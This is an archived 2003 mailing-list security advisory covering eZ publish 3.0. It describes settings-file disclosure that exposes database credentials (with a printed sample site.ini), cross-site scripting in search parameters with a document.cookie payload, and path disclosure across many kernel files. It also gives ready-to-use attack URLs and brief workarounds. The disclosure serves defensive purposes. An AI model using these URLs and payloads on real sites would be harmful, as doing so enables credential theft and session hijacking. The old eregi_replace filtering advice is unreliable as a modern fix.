

[VulnWatch] [SCSA-016] Multiple vulnerabilities in Ez publish

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2003-04/0025.html>

From: Gregory Le Bras | Security Corporation (gregory.lebras@security-corporation.com)

Date: 04/15/03

From: "Gregory Le Bras | Security Corporation" <gregory.lebras@security-corporation.com>

To: <vulnwatch@vulnwatch.org>

Date: Tue, 15 Apr 2003 13:28:32 +0200

Security Corporation Security Advisory [SCSA-016]

Multiple vulnerabilities in Ez publish

PROGRAM: Ez publish

HOMEPAGE: <http://www.ez.no>

VULNERABLE VERSIONS: 3.0 and prior ?

RISK: Medium/High

IMPACT: Sensitive information disclosure

 Cross Site Scripting

 Path Disclosure

RELEASE DATE: 2003-04-15

Security Corporation's Free weekly Newsletter :

<http://www.security-corporation.com/index.php?id=newsletter>

TABLE OF CONTENTS

| | |
|---------|---------------|
| 1..... | DESCRIPTION |
| 2..... | DETAILS |
| 3..... | EXPLOITS |
| 4..... | SOLUTIONS |
| 5..... | WORKAROUND |
| 6..... | VENDOR STATUS |
| 7..... | CREDITS |
| 8..... | DISCLAIMER |
| 9..... | REFERENCES |
| 10..... | FEEDBACK |

1. DESCRIPTION

"eZ publish 3 is an open source content management system and development framework. "

(direct quote from <http://www.ez.no>)

2. DETAILS

⌘ Sensitive information disclosure :

A security vulnerability was found in Ez publish which allow a remote attacker to access to sensitive informations such as database's name and password.

This vulnerability can be triggered by a remote user submitting a specially crafted HTTP request.

For example, an attacker can download the site.ini file and disclose numerous informations like this :

----- site.ini -----

```
[DatabaseSettings]
DatabasePluginPath=
# Use either ezmysql or ezpostgresl
DatabaseImplementation=ezmysql
Server=localhost
User=nextgen
Password=nextgen
Database=nextgen
# Enable slave servers
# The slave servers will only be used for read queries
# Useful for load balanced environments
UseSlaveServer=disabled
#SlaveServerArray[]=localhost
#SlaverServerUser[]=nextgen
#SlaverServerPassword[]=nextgen
#SlaverServerDatabase[]=nextgen
# The number of times to reconnect if the first fails
ConnectRetries=0
Charset=iso-8859-1
# Use charset conversion routines in DB if possible
UseBuiltinEncoding=true
Socket=disabled
SQLOutput=disabled
UsePersistentConnection=disabled
```

[SiteSettings]

Name of the site, will be used in default templates in titles.

SiteName=eZ publish

URL of site, often used to link to site in emails etc.

SiteURL=mysite.com

List of metadata to set in pagelayout

MetaDataArray[author]=eZ systems

MetaDataArray[copyright]=eZ systems

MetaDataArray[description]=Content Management System

MetaDataArray[keywords]=cms, publish, e-commerce, content management

Dir=

Which page to show when the root index (/) is accessed

IndexPath=/content/view/sitemap/2/

What to do when a module does not exists, use either defaultpage or displayerror

ErrorHandler=displayerror

Displayed if an error occurs and ErrorHandler is set to defaultpage

DefaultPage=/content/view/sitemap/2/

Default access is needed when uri type matching is done, this is

because with empty urls it's not possible to fetch the access

DefaultAccess=demo

How the login page should be handled, use embedded to show inside default pagelayout

or custom for loginpagelayout.tpl

LoginPage=custom

The SSL port, the default should be OK for most sites but can be

changed if different. If the port is detect all redirects will

be done with https protocol.

SSLPort=443

✕ Cross Site Scripting :

Many exploitable bugs was found in Ez publish which cause script execution on client's computer by following a crafted url.

This kind of attack known as "Cross-Site Scripting Vulnerability" is present in many section of the web site, an attacker can input specially crafted links and/or other malicious scripts.

✕ Path Disclosure :

Many vulnerabilities have been found in Ez publish which allow attackers to determine the physical path of the application.

These vulnerabilities would allow a remote user to determine the full path to the web root directory and other potentially sensitive information. This vulnerability can be triggered by a remote user submitting a specially crafted HTTP request.

3. EXPLOITS

☒ Sensitive information disclosure :

`http://[target]/settings/[file_name]`

For example :

`http://[target]/settings/site.ini`

☒ Cross Site Scripting :

`http://[target]/index.php/content/search/?SectionID=3&SearchText=[hostile_code]`

`http://[target]/index.php/content/advancedsearch/?SearchText=[hostile_code]&PhraseSearchText=[hostile_code]&SearchContentClassID=-1&SearchSectionID=-1&SearchDate=-1&SearchButton=Search`

`http://[target]/index.php/[any_section]/">[hostile_code]<`

`http://[target]/index.php/"><script>[hostile_code]<`

The hostile code could be :

`[script>alert("Cookie="+document.cookie)/script]`

(open a window with the cookie of the visitor.)

(replace [] by <>)

☒ Path Disclosure :

Numerous files of the kernel directory are affected.

`http://[target]/kernel/class/delete.php`

`http://[target]/kernel/class/edit.php`

`http://[target]/kernel/class/ezcontentclassfeature.php`

`http://[target]/kernel/class/groupedit.php`

`http://[target]/kernel/class/grouplist.php`

`http://[target]/kernel/class/list.php`

`http://[target]/kernel/class/removeclass.php`

`http://[target]/kernel/class/removegroup.php`

http://[target]/kernel/class/classlist.php

http://[target]/kernel/class/copy.php

http://[target]/kernel/classes/ezorderitem.php

http://[target]/kernel/classes/ezpersistentobject.php

http://[target]/kernel/classes/ezpolicy.php

http://[target]/kernel/classes/ezpolicylimitation.php

http://[target]/kernel/classes/ezpolicylimitationvalue.php

http://[target]/kernel/classes/ezproductcollection.php

http://[target]/kernel/classes/ezproductcollectionitem.php

http://[target]/kernel/classes/ezproductcollectionitemoption.php

http://[target]/kernel/classes/ezrole.php

http://[target]/kernel/classes/ezsearch.php

http://[target]/kernel/classes/ezsearchlog.php

...

4. SOLUTIONS

No solution for the moment.

5. WORKAROUND

⌘ Sensitive information disclosure :

We strongly urge you to use a .htaccess file for the sensitive informations like settings files.

⌘ Cross Site Scripting :

Use the function php eregi_replace to filter the input data.

⌘ Path Disclosure :

You can fix the path disclosure problem by adding this code in all the affected files :

-----CUT-----

error_reporting(0);

-----CUT-----

6. VENDOR STATUS

The vendor has reportedly been notified.

7. CREDITS

Discovered by Gregory Le Bras <gregory.lebras@security-corporation.com>

8. DISCLAIMER

The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk.

9. REFERENCES

– Original Version:

<http://www.security-corporation.com/index.php?id=advisories&a=016>

– Version Française:

<http://www.security-corporation.com/index.php?id=advisories&a=016-FR>

10. FEEDBACK

Please send suggestions, updates, and comments to:

Security Corporation

<http://www.security-corporation.com>

info@security-corporation.com